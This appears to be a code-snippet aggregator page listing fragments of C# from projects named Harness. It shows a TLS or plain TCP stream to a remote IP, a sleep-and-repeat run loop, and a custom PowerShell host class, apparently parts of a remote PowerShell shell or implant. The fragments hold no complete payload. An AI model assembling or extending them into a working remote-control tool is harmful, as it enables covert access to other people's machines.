示例#1
0
 public CustomStream(Harness program, TcpClient client, bool SECURE)
 {
     if (SECURE)
     {
         this.secure_stream = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
         this.program       = program;
         this.secure_stream.AuthenticateAsClient(BytesToIPv4String(this.program.remoteIP_bytes));
         this.SECURE = true;
     }
     else
     {
         this.clear_stream = client.GetStream();
         this.SECURE       = false;
     }
 }
示例#2
0
        private static void Main(string[] args)
#endif
        {
            Harness hcon = new Harness();

            do
            {
                hcon.Run();
                Thread.Sleep(hcon.sleep);
            } while (hcon.sleep > 0);

            hcon.CleanUp();

#if HARNESS_DLL
            return(" ");
#endif
        }
示例#3
0
 public CustomPSHostUserInterface(Harness program)
 {
     this.program = program;
 }
示例#4
0
 public CustomPSHost(Harness program)
 {
     this.program = program;
     this._ui     = new CustomPSHostUserInterface(this.program);
 }
示例#5
0
文件: Program.cs 项目: 0x0mar/Harness
        private static void Main(string[] args)

#endif
        {

            Harness hcon = new Harness();
            hcon.run();

#if HARNESS_DLL

            return " ";
#endif
        }
示例#6
0
文件: Program.cs 项目: 0x0mar/Harness
 public CustomPSHostUserInterface(Harness program)
 {
     this.program = program;
     
 }
示例#7
0
文件: Program.cs 项目: 0x0mar/Harness
 public CustomPSHost(Harness program)
 {
     this.program = program;
     this._ui = new CustomPSHostUserInterface(program);
 }
示例#8
0
文件: Program.cs 项目: vysec/Harness
        public CustomStream(Harness program, TcpClient client, bool SECURE)
        {

            if (SECURE)
            {
                this.secure_stream = new SslStream(client.GetStream(), false, new RemoteCertificateValidationCallback(ValidateServerCertificate), null);
                this.program = program;
                this.secure_stream.AuthenticateAsClient(BytesToIPv4String(this.program.remoteIP_bytes));
                this.SECURE = true;
            }
            else
            {
                this.clear_stream = client.GetStream();
                this.SECURE = false;
            }

        }
示例#9
0
文件: Program.cs 项目: vysec/Harness
        private static void Main(string[] args)

#endif
        {

            Harness hcon = new Harness();

            do
            {

                hcon.Run();
                Thread.Sleep(hcon.sleep);

            } while (hcon.sleep > 0);

            hcon.CleanUp();

#if HARNESS_DLL

            return " ";
#endif
        }